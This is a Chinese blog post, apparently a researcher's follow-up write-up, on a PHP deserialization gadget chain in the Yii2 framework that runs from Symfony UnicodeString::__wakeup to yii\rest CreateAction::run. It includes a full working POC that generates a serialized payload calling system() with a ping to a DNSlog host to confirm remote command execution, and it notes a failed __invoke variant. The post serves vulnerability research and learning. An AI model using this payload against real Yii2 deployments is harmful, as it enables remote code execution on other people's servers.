yii2反序列化后续

236 阅读1分钟

在我前几天发文过后,我看了其它师傅们挖的利用链,其中有一个是我之前忽略了的

这是一条利用__wakeup魔术方法作为入口的利用链,然后我就去看了看,有所收获,所以简单和大家分享一下

问题出在Symfony\Component\String\UnicodeString,我们看下它的wakeup方法:

public function __wakeup()
{
    normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
}

这里调用了normalizer_is_normalized,我一开始没有想到这个函数也会把参数当做字符串处理,也就是说这里也可以利用__toString进一步利用

结合前文,我们可以很轻松的构造一条利用链出来:

Symfony\Component\String\UnicodeString::__wakeup()->phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()

但是,当我用我生成的payload去测试的时候,直接报错了

我当时也没有去搜这个错误是啥意思,以为是normalizer_is_normalized内部还有其他机制,然后我就去找了一下其他的__toString方法,但是都报这个错(其它利用链我会在后面提到)

后来去查了一下,原来是php版本问题,PREG_UNMATCHED_AS_NULL这个静态变量只在php7.2以上才有,而我用的是php7.1,所以升级一下,然后测试,结果

又报错了...如下

我去查了一下,这个应该是yii的视图报错了导致无法回显命令执行的结果,所以,我利用dnslog来验证命令是否执行,如下:

可以看到命令成功执行了

poc1:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ping -c 4 123.xxx.tech';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}

namespace Symfony\Component\String{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class UnicodeString{
        protected $string;
        public function __construct()
        {
            $this->string = new See;
        }
    }
}
namespace{
    use Symfony\Component\String\UnicodeString;
    // 生成poc
    echo base64_encode(serialize(new UnicodeString()));
}
?>

yii2真是一个练习反序列化连挖掘的好靶场,我们可以通过它来练习各种魔术方法在反序列化链构造中的使用

php所有的魔术方法如下:

  • __construct(),类的构造函数

  • __destruct(),类的析构函数

  • __call(),在对象中调用一个不可访问方法时调用

  • __callStatic(),用静态方式中调用一个不可访问方法时调用

  • __get(),获得一个类的成员变量时调用

  • __set(),设置一个类的成员变量时调用

  • __isset(),当对不可访问属性调用isset()或empty()时调用

  • __unset(),当对不可访问属性调用unset()时被调用。

  • __sleep(),执行serialize()时,先会调用这个函数

  • __wakeup(),执行unserialize()时,先会调用这个函数

  • __toString(),类被当成字符串时的回应方法

  • __invoke(),调用函数的方式调用一个对象时的回应方法

  • __set_state(),调用var_export()导出类时,此静态方法会被调用。

  • __clone(),当对象复制完成时调用

  • __autoload(),尝试加载未定义的类

  • __debugInfo(),打印所需调试信息

这里我本打算再利用__invoke构造一个,我的想法如下:

Symfony\Component\String\UnicodeString::__wakeup()->Symfony\Component\String\LazyString::__toString()-> \Swift_StreamCollector::__invoke()->phpDocumentor\Reflection\DocBlock\Tags\See::__toString()->Faker\Generator::__call() -> yii\rest\IndexAction::run()

你看到这个链可能觉得我这是脱裤子放屁,但是在前面那个链报错的情况下,我才想出了这么一个链,以为可以不报错

我们看下LazyString的toString方法:

public function __toString()
{
    if (\is_string($this->value)) {
        return $this->value;
    }

    try {
        return $this->value = ($this->value)();
    } catch (\Throwable $e) {
       ...
    }
}

可以看到上面代码中有($this->value)(),我一开始以为这里不就可以利用__invoke进行利用吗,但是后来发现我天真了,这报错给我安排的明明白白

可以看到,($this->value)()这种形式是利用不了__invoke

简单记录下这个错误,也算是给大家排个坑吧

我是阿信,一个想要活得不平凡的普通人,我们下次见